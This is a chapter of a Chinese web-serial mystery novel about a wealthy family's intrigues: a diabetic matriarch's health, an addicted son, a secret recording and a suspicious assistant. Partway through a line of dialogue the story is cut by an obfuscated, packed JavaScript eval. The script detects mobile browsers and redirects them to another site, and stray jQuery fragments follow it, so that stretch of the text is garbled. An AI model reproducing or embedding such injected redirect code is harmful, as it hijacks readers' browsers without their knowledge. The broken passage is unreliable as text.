8. 别墅内(二更)

作品:《半山别墅杀人事件

    梁兆文带着血糖测试仪去到翁宝玲的房间。


    翁宝玲年轻时,短发飒爽,浓眉翘睫,唇红齿白,眉眼间全是高傲,无需浓妆,不用说话,站在哪,哪就是全场的焦点。


    如今,她蓄了长发,背影看多了几分温柔,可坐到她面前,又会被她强大的气场镇住。


    梁兆文打开血糖仪。


    翁宝玲伸手拿过采血笔,按动弹簧开关,针刺食指指腹。她微微蹙眉,尽管扎了这么多次,还是怕疼。


    静待一会,血糖仪显示数值。


    梁兆文说:“有点高。你今天吃过药了吗?”


    翁宝玲摇头:“还没。”


    “记得吃。”


    “好。”


    “你最近饮食要注意,以低糖,低脂肪,高维生素为主。”梁兆文想起昨天的晚餐,“你是不是喝那个炸猪皮炖鸡汤了?”


    “嗯。喝了两碗。热量太高了对吧?”


    “是。”


    梁兆文收好医疗箱:“我去和尤倩雯说一声。让她别做这种高热量的。”


    翁宝玲笑:“可永杰就喜欢吃这些。算了吧。你越说她越做。我自己注意就好。”


    “你的药放在哪?我帮你拿。”


    “在那边的抽屉里。”


    梁兆文走过去,拉开梳妆台抽屉。里面有个粉色的药盒,一共三十个格子,每一格上都有日期,一号到三十号。


    “对。就是那个。给我吧。”翁宝玲说。


    梁兆文递过去,看她吃了药,再提医疗箱下楼。犹豫片刻,忽然加快脚步,匆匆下楼,走进厨房。


    尤倩雯正在准备早餐,被吓了一跳。


    “你干嘛?”她问。


    梁兆文低声:“我刚去给翁宝玲测血压。她的血糖指数偏高,因为你昨天那个炸猪皮炖鸡汤热量太高了。”


    “你什么意思?觉得我故意害她?!”尤倩雯音调尖锐,怒目圆睁,像只被踩了尾巴的猫,随时要暴走。


    梁兆文严肃道:“我是站你这边的。你失势了,对我有什么好处?”


    尤倩雯似懂非懂地点头。


    梁兆文继续说:“我把她的情况告诉你。你想做什么尽管做,有需要我会帮你。她的血糖高上去会头晕,会视力模糊……”


    “你想说什么?”尤倩雯打断。


    梁兆文说:“永杰的状况不太好。”


    “永杰怎么了!”尤倩雯丢下手里的汤勺,几乎要跳起来。


    “我觉得他……戒不掉……”


    “这才两天。”尤倩雯很自信,“他答应我了,一定会做到的。”


    梁兆文勾起怜悯嘲讽的笑。


    那笑一闪而过,不易觉察。


    待尤倩雯抬眸,他再次拧紧眉,还是那副忧心忡忡的模样:“留个后手不是坏事。永杰要真是戒不掉。让翁宝玲迷迷糊糊的,财产就全是你的。”


    尤倩雯却说:“对于她,我自有想法,不需要你来教我。”


    “行吧。”梁兆文耸肩。


    邝永杰路过厨房,瞥见两人在厨房窃窃私语,脑中警铃大作,来不及过多思考,一个箭步冲进厨房,硬是挤进两人之间。


    “妈。你别听他乱说。我真的没有碰。我真的有改。”他一会拍胸,一会拍桌,一句比一句大声。


    瞧这虚张声势的模样,尤倩雯的心瞬间沉了,明白梁兆文说的是实话,邝永杰这毛病是治不好了。


    她呵斥:“闭嘴。你爸爸马上要起床了。”


    邝永杰抿紧唇,不敢出声了。


    环胸站在旁边观戏的梁兆文乐得几乎要笑出声了,胸膛震动,死死咬住后槽牙才忍住笑。邝永杰在他面前有多嚣张,此刻就有多低贱。只要提到邝振邦,他就像被拔光刺的刺猬,只剩一身烂肉。


    “帮我把碗筷摆出去。”尤倩雯吩咐。


    邝永杰二话不说,立刻照做。


    早饭过后,邝永杰自觉取了围裙穿上,进厨房帮尤倩雯洗碗。他哪会这些,一会洗洁精挤多了,一会又被锅沿烫着。


    尤倩雯挥手将他驱出厨房:“去房间待着。我一会找你算账。”


    “是。”邝永杰怯怯回答。


    尤倩雯做完家事,擦了擦手,站在房门口平复了好久,才推门而入,尽量压低声音:“才两天你就忍不住了?”


    邝永杰委屈:“我……我昨天真没有。”


    “你还敢撒谎?”


    “真的。真的。我发誓。”邝永杰举起四根手指立誓,“我昨天要是吸了就让我出门被车撞死。”


    尤倩雯瞳孔震动,当即扇了他一耳光。


    他怎么能说这种话。


    他怎么能这么不爱惜生命。


    她的眼泪成串落下,不是为邝永杰,是为邝敏琦。


    “你姐姐是怎么走的,你都忘记了吗?你怎么能用这种事起誓?!”


    “我怕你不信我。”


    “好。我再信你一次。”


    邝永杰仍委屈嘟囔:“我昨天真的没吸啊。”


    尤倩雯摆手,示意他不要再说这事。


    “还有一件事……”


    “你又干嘛了?”


    邝永杰把早上得罪梁兆文的事一五一十地说了。


    尤倩雯叹:“罢了。他不会同你计较的。你还是孩子。”


    邝永杰问:“那他还会帮我吗?”


    “会。帮我们就是帮他自己。”尤倩雯肯定道。


    邝永杰起身,从包里拿出一个录音笔:“还有这个……”


    尤倩雯不耐烦地瞪他一眼。


    邝永杰按下播放键。


    录音机启动,里面传来邝振邦的声音。


    是昨天邝振邦和梁兆文在房内的谈话。清清楚楚。一字不漏。全部录下来了。


    尤倩雯惊喜:“你哪来的?”


    邝永杰说:“我在爸爸的笔筒里放了个微型录音设备。”


    “一个月。听到没。爸爸说一个月后要带你去做尿检。”尤倩雯摸他肩膀,又扯他耳朵,恨铁不成钢的,“你咬咬牙,坚持一个月不行吗?”


    邝永杰摇头:“重点不是这个。”


    “那是什么?”


    “他说那次突击尿检和毛发检测是付颖妍建议他做的。”


    “那怎么了?”尤倩雯不以为意。


    邝永杰撇嘴,不满溢满胸膛:“她一个外人,爸爸为什么那么信任她啊!凭什么!妈,你想想,她才来公司三年啊,不仅成为爸爸的左膀右臂,还顶了大姐的名字。到底是为什么啊?”


    “爸就是偏心。大姐在国外读书,国内还有替身,保护得那么好,生怕她出意外。我呢。他就不怕我被人绑架吗!”邝永杰越想越委屈。从未蒙面的姐姐是最正统的继承人,他从来都是无人在意的,只有彻底堕落的这刻,父亲的责骂才是真实的。


    邝敏诗的事牵扯着二十年前的一桩旧事,一时半会说不清,她也不愿意让邝永杰搅进这事。


    只能极力安抚:“邝敏诗对你绝对不是威胁。爸爸最疼的是你。现在也只有你。你一定不能放弃。明白吗?”


    邝永杰疯狂摇头:“我不明白。付颖妍让他做什么,他都答应,都照做。我要换一辆宾利他都不愿意。”


    “妈。付颖妍是梁兆文带来的。你不去问问他吗?梁兆文那么爱钱的人凭什么一直听你的?你会给他钱,别人就不会吗?”邝永杰提醒。


    尤倩雯欲言又止,想了想,还是没说出那件事,只说会查这人的底细,让他不要再想这些事。


    她找出一本佛经:“你若是有心,就坐在这多念几遍,姐姐会听见,姐姐会庇佑你度过这关。”


    邝永杰抖着手去接。


    “你安心待着。”


    “好吧。”


    —


    尤倩雯坐在房间想了好久,觉得他说的也不无道理。付颖妍才来三年就被如此信任,确实离奇。她去问邝振邦的另外一个助理,让他把付颖妍的简历资料发过来。


    付颖妍。二十七岁。毕业于邓迪大学医学院。七岁跟随父母移民英国,因交换计划回国,在东湾大学交换一年,研究生毕业后留在东湾市立医院心理科工作。三年前,应聘进入邝氏集团公司。


    她的履历很漂亮,高学历,有海外背景,各种奖项一堆。


    只是她为什么从医生转来做秘书?


    这跨度未免大了些?


    在这简历里,尤倩雯注意到付颖妍的生日和邝敏诗一样,都是六月十日。除此之外,她再看不出什么特殊的。


    邝振邦极为迷信,这人又是梁兆文推荐来的,说不定就和这相同的生日有关。


    怀着好奇,尤倩雯叩开梁兆文的房门,开门见山地问:“你为什么推荐付颖妍进公司?”


    梁兆文疑惑:“她是我女朋友的朋友。怎么了?”


    尤倩雯坐下:“振邦现在特别信任她,我必须知道这人的情况。”


    梁兆文回忆道:“她在东湾市立医院心理科工作。我女朋友有阵子工作压力大,经常去挂心理门诊,一来二去两人成为朋友了。她说以后不用挂号,可以直接去公寓找她。”


    “她跟我女朋友说了她家里的情况,她自小随父母移民国外,但不适应国外生活,在那边没什么朋友,研究生有交换机会就回国了。心理门诊每天都要听病人的苦痛经历,搞得她也很郁闷。”


    “噢,她还有个哥哥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320062|152411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。不过她和哥哥不是一个妈。所以关系不好。”


    尤倩雯插嘴:“同父异母的哥哥?”


    梁兆文说:“可能是吧。”


    “她哥哥在哪?”


    “也在东湾市立医院。也是医生。外科医生。因为这样,她不想和哥哥一个医院工作,觉得父母会把两人做比较。她有试过找别的工作,医学专业虽是高精尖,但门类窄。短时间,她找不到合适的。”


    “我女朋友说她有一阵状态很不好。医者难自医吧。她说自己再继续做这个工作,真的会郁闷死。我女朋友就来问我能不能给她介绍一个薪资高还轻松的工作。”


    尤倩雯哼笑:“想挺美。想轻松,还想赚钱。”


    梁兆文也笑:“谁不想做这种工作呢。”


    “所以你把她带进邝氏集团?”


    “是。你知道邝振邦一直很迷信,身边的员工的八字都特意算过。公司还有专门的八字岗。”


    所谓‘八字岗’就是个虚设的闲职岗,可能是前台,可能是文秘,平时工作很清闲,主要是挑选八字和公司气运相合的人。


    不止邝氏集团,东湾的许多公司都有这种岗位。


    尤倩雯明白了,真是和那个生日有关。


    二十年前的那件事后,邝振邦深信生日是六月十日的人能让他财运亨通,一切顺遂,聘请员工时,特别喜欢六月生日的,仿佛这个月出生的人都自带光环。


    梁兆文说:“你想明白了?”


    “和她的生日有关。”


    “是啊。偏偏那么巧,我看她生日,就知道她这辈子是富贵命。邝振邦果然马上高薪聘用她,什么都不用做,只需坐在办公室刷剧刷手机。”


    “付颖妍有高学历,本就是很自律的人,不愿意做这种咸鱼岗。这三年,自学考了律师证,会计证,又是心理医生,邝振邦什么都愿意和她说,也越来越信任她。”


    “让她做邝敏诗的替身是你的主意?”


    “不是。怎么可能。”梁兆文否认,“二十年前那件事,我当然是希望知道的人越少越好,怎么会主动去提。是邝振邦母亲在弥留之际,唯一的愿望就是见这个常年在国外的孙女。邝振邦觉得邝敏诗一直没有消息也不是个事,所以找她来。”


    尤倩雯和邝振邦没有夫妻名分,又没有豪门娘家撑腰。邝家很讨厌她,哪怕她生了一对子女,邝家也不承认她,不许邝振邦带她回家,早早写下声明,她和邝家的一切毫无关系,邝氏集团没有一毛钱是属于她的。


    邝振邦母亲生病,她不能去探望,连出殡也没资格。


    尤倩雯无所谓。


    不让她去更好,她可不愿意伺候老人。


    邝家的一切和她无关,但和邝永杰有关。只要儿子有份,她就有份。这事她早想明白了,没有因为邝家的歧视感到半点难过。


    “你还要问什么?”


    “她那个哥哥你去查过吗?”


    梁兆文点头:“比她大三岁。同样是高学历。在医院口碑极好。她父母我也查过,父亲是大学的中文教授,母亲是珠宝设计师。呃……我说的是她户口本上的母亲。她生母的情况,她都说不清楚,我就更不清楚了。”


    尤倩雯忽然懂了。


    付颖妍是私生女。


    难怪和哥哥关系不好。


    不知怎的,她竟对付颖妍生出几分同情,明明全是父亲的错,却要由孩子来承受。


    凭这个关系,尤倩雯脑补出付颖妍从小到大的生活。


    在家里,肯定是爸爸不敢疼,母亲和哥哥拼命欺负她。若是生在其他人家,她如此努力,如此优异,定会成为父母的掌中明珠。可惜生在这样没有名分的家庭,她的优异变成母亲的妒忌,处处打压她,不许她比哥哥强,不许她过的比哥哥好。


    邝氏的工作也不是什么好事。


    八字岗清闲,却凶险。


    人一生的气运都是有定数的,分给公司,留给自己的就会减少了。


    以前她是不信这些的,在邝振邦身边待久了,见过一些事,也不由得相信了。


    公司的上一任前台入职后便各种不顺,婚姻破裂、孩子抚养权归男方、被相识多年的好友骗走几十万。她心情极差,提辞职,想换个城市生活。邝振邦出重金都没能留下她。听说她离开东湾市,找到份不错的工作,诉讼朋友的官司打赢了,被骗的钱追回一半。


    上任前台的经历或许就是付颖妍未来生活的写照。


    她叹惜:“也是可怜人。”


    梁兆文难以置信:“你说谁?付颖妍吗?”


    “是。”


    “你什么时候这么多愁善感了?”


    “我一直是。”